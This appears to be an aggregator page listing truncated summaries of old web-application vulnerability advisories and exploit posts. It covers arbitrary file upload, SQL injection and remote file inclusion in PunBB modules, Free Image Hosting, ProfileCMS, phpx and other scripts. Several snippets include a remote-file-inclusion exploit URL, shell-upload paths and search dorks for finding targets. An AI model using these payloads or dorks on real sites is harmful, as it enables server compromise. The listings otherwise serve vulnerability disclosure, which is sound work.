CVE-2007-6527: Improper Input Validation

uploadimg.php in the Automatic Image Upload with Thumbnails imgUpload module 1.3.2 for PunBB only verifies the Content-type field of uploaded files, which allows remote attackers to upload and execute arbitrary content via a file with a 1 JPG, 2 GIF, or 3 PNG MIME type...

Automatic Image Upload with Thumbnails for PunBB 'uploadimg.php'任意文件上传漏洞

Automatic Image Upload with Thumbnails是一款用于PunBB的图象上传扩展。 Automatic Image Upload不正确处理用户提交的数据，远程攻击者可以利用漏洞上传任意文件，并以WEB权限执行。 问题存在于'uploadimg.php'脚本处理中，合法用户帐户可通过构建恶意数据来上传任意文件，并可以以WEB权限执行任意代码。 Automatic Image Upload with Thumbnails Automatic Image Upload with Thumbnails 1.3.3 Automatic Image Upload wit...

hotscripts-sql.txt

--==+================================================================================+==-- --==+ HotScripts Clone Script SQL Injection Vulnerbility +==-- --==+================================================================================+==-- AUTHOR: t0pP8uZz & xprog SITE: N/A DORK google:...

HotScripts Clone Script - SQL Injection

HotScripts Clone Script - SQL Injection --==+================================================================================+==-- --==+ HotScripts Clone Script SQL Injection Vulnerbility +==-- --==+================================================================================+==-- AUTHOR:...

ProfileCMS 1.0 - Arbitrary File Upload

ProfileCMS v1.0 Shell Upload Exploit Demo : http://slrate.com/ You can direct upload PHP shell instead of image while creating profile at this script, For example http://slrate.com/profiles here you can direct upload shell instead of images. Dorks : "Total Generators & Widgets" "Powered By...

CVE-2007-4499

CVE-2007-4499 affects American Financing eMail Image Upload 4.1; vulnerable component is output.php, with an unrestricted file upload allowing remote code execution via unspecified vectors. The provided sources give this vulnerability detail but no remediation or exploit specifics.

CVE-2007-4499: Undefined Security Weakness

Unrestricted file upload vulnerability in output.php in American Financing eMail Image Upload 4.1 allows remote attackers to upload and execute arbitrary code via unspecified vectors. NOTE: the provenance of this information is unknown; the details are obtained solely from third party information...

LiveCMS 3.4 - categoria.php?cid SQL Injection

LiveCMS 3.4 - categoria.php?cid SQL Injection !/usr/bin/perl / \ / \ | | | | | | | | | | | / | | | | | | | ' / | | ' \ / \ | | | | || | || | | | \ | | | | / | , |/ /|| ||| |||| / | |/ INFO: Program Title LiveCMS = 3.4 SQL Injection, Absolute Path Disclosure, XSS Injection, Arbitrary File...

Link Request Contact Form 3.4 Remote Code Execution Vulnerability

Exploit for unknown platform in category web applications ================================================================= Link Request Contact Form 3.4 Remote Code Execution Vulnerability ================================================================= -=+ Application: Link Request Contact For...

joomlacom-rfi.txt

Joomla comjoomlaboard 1.1.x Branch sbp Multiple Remote File Include Vulnerabilities Joomlaboard Component 1.1.x Branch sbp Multiple Remote File Include Vulnerabilities script : http://forge.joomla.org/sf/frs/do/viewRelease/projects.simpleboard/frs.joomlaboardcomponent.joomlaboard11xbranch files :...

Free Image Hosting <= 2.0 (AD_BODY_TEMP) Remote File Inclusion Vulns

No description provided by source. Baslik :ImageUpload Script Remote File Inclusion Exploit Free Image Hosting 2.0 .ndir : http://free-php-scripts.net/scripts/ImageUpload.zip Bulan :CrackersChild Zay.flk : Exploit : www.site.com/imageuploadpath/login.php?ADBODYTEMP=Shell? :...

Free Image Hosting 2.0 - AD_BODY_TEMP Remote File Inclusion

Free Image Hosting 2.0 - ADBODYTEMP Remote File Inclusion Baslik :ImageUpload Script Remote File Inclusion Exploit Free Image Hosting 2.0 .ndir : http://free-php-scripts.net/scripts/ImageUpload.zip Bulan :CrackersChild Zay.flk : Exploit : www.site.com/imageuploadpath/login.php?ADBODYTEMP=Shell? :...

Image_Upload Script Remote File Inclusion Exploit Free Image Hosting 2.0

Baslik :ImageUpload Script Remote File Inclusion Exploit Free Image Hosting 2.0 .ndir : http://free-php-scripts.net/scripts/ImageUpload.zip Bulan :CrackersChild Zay.flk : tddiv align="center"?php include$ADBODYTEMP;?/div/td Exploit : www.site.com/imageuploadpath/login.php?ADBODYTEMP=Shell? :...

Free Image Hosting 2.0 - 'AD_BODY_TEMP' Remote File Inclusion

Baslik :ImageUpload Script Remote File Inclusion Exploit Free Image Hosting 2.0 .ndir : http://free-php-scripts.net/scripts/ImageUpload.zip Bulan :CrackersChild Zay.flk : Exploit : www.site.com/imageuploadpath/login.php?ADBODYTEMP=Shell? :...

MetaForum <= 0.513 Beta Remote File Upload Exploit

Exploit for unknown platform in category web applications ================================================== MetaForum = 0.513 Beta Remote File Upload Exploit ================================================== ?php /---------------------------------------------------------\ MetaForum = 0.513 Beta...

phpx 3.5.15 multiples vulnerabilities

avatar upload vuln: http://site.com/phpx/gallery.php?action=addImage you can upload any kind of file in the gallery. your file gone be refused by the script but it will be located here : http://site.com/phpx/gallery/shelties/yourfilename.php ; xss permanent : dans profile: -signature xss non...

Novell ZenWorks Desktop Management protection bypass

It's possible to upload images into arbitrary directories...

Move easy latest use method-vulnerability warning-the black bar safety net

Approximate method: 1. Register for a das. asp user name will be the system to automatically build a user name for the name of the directory 2. Pass pictures of horses Mainly use the 0 3 for. asp directory support, 0 3. asp directory of the characteristics caused. Official also the existence of...

CVE-2007-1119: Undefined Security Weakness

Unspecified vulnerability in Novell ZENworks 7 Desktop Management Support Pack 1 before Hot patch 3 ZDM7SP1HP3 allows remote attackers to upload images to certain folders that were not configured in the "Only allow uploads to the following directories" setting via unspecified vectors...

dc-arbitrary.txt

/ -061124b- \ | deV!Lz Clanportal - Arbitrary File Upload | \ / S Y N O P S I S / =================' - access: remote severity: high - deV!Lz Clanportal allows nearly arbitrary files to be uploaded and stored on the server's filesystem, which enables anyone, even without a user account, to upload...